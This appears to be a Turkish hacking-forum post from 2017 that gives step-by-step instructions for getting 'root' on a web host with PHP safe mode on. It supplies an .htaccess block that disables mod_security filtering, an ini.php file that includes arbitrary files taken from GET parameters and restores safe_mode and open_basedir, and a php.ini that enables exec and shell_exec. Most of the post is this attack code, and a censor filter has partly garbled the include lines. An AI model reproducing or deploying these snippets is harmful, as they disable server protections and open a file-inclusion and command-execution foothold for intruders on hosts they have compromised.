- 3 Haz 2017
- 108
- 0
Bir Sitede Root olabilmek için sitenin safe mod: Off Olması gerekir eğer site Safe Mode: On ise yapmanız gereken aşağıdakileri uygulamak.
1-).htaccess dosyanızın içine aşağıdaki kodu ekleyin.
2-)ini.php dosyası oluşturup içine aşağıdaki kodu ekleyin ve htaccess in olduğu yere atın.
3-) php.ini dosyası oluşturup içine aşağıdaki kodu ekleyin ve htaccess in olduğu yere atınız.
1-).htaccess dosyanızın içine aşağıdaki kodu ekleyin.
Kod:
# BEGIN safe mode
<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
</IfModule>
# END safe mode
2-)ini.php dosyası oluşturup içine aşağıdaki kodu ekleyin ve htaccess in olduğu yere atın.
Kod:
<?
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include($_GETsansursansursansur91;"file"sansursansursansur93;);
ini_restore("safe_mode");
ini_restore("open_basedir");
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include($_GETsansursansursansur91;"ss"sansursansursansur93;);
?>
3-) php.ini dosyası oluşturup içine aşağıdaki kodu ekleyin ve htaccess in olduğu yere atınız.
Kod:
safe_mode = off
exec = On
shell_exec = On